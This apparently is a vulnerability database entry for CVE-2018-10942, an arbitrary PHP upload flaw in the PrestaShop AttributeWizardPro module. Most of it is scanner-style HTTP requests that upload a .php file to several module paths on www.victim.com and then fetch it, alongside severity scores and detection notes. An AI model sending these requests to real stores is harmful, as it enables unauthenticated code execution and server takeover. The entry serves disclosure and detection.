🔙 목록으로 돌아가기

CVE-2018-10942: Prestashop AttributeWizardPro Module - Arbitrary File Upload

TitlePrestashop AttributeWizardPro Module - Arbitrary File Upload
AuthorMaStErChO
SeverityCritical
ImpactUnauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.
RemediationRemove or update the Attribute Wizard addon to a patched version.
CVSS Score9.8
EPSS Score0.85677
CVE IDCVE-2018-10942
CWE IDCWE-434
Tags prestashop attributewizardpro intrusive file-upload cve2018 cve attribute_wizard_project vkev vuln

🔍 Vulnerability Description

In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.

🌐 HTTP Request

POST /modules/attributewizardpro/file_upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Connection: close
Content-Length: 214
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
Accept-Encoding: gzip

--ba1f796d0aa2482e9c51c81ae6087818

Content-Disposition: form-data; name="userfile"; filename="UwbSVPXz.php"

Content-Type: multipart/form-data



38FaeLiu5etTtvgA5Y1YoAoPJzf

--ba1f796d0aa2482e9c51c81ae6087818--
GET /modules/attributewizardpro/file_uploads/mwPDF8 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept-Encoding: gzip
POST /modules/1attributewizardpro/file_upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 214
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
Accept-Encoding: gzip

--ba1f796d0aa2482e9c51c81ae6087818

Content-Disposition: form-data; name="userfile"; filename="UwbSVPXz.php"

Content-Type: multipart/form-data



38FaeLiu5etTtvgA5Y1YoAoPJzf

--ba1f796d0aa2482e9c51c81ae6087818--
GET /modules/1attributewizardpro/file_uploads/mwPDF8 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
POST /modules/attributewizardpro.OLD/file_upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Content-Length: 214
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
Accept-Encoding: gzip

--ba1f796d0aa2482e9c51c81ae6087818

Content-Disposition: form-data; name="userfile"; filename="UwbSVPXz.php"

Content-Type: multipart/form-data



38FaeLiu5etTtvgA5Y1YoAoPJzf

--ba1f796d0aa2482e9c51c81ae6087818--
GET /modules/attributewizardpro.OLD/file_uploads/mwPDF8 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.4
Connection: close
Accept-Encoding: gzip
POST /modules/attributewizardpro_x/file_upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.3
Connection: close
Content-Length: 214
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
Accept-Encoding: gzip

--ba1f796d0aa2482e9c51c81ae6087818

Content-Disposition: form-data; name="userfile"; filename="UwbSVPXz.php"

Content-Type: multipart/form-data



38FaeLiu5etTtvgA5Y1YoAoPJzf

--ba1f796d0aa2482e9c51c81ae6087818--
GET /modules/attributewizardpro_x/file_uploads/mwPDF8 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10942.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-10942.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A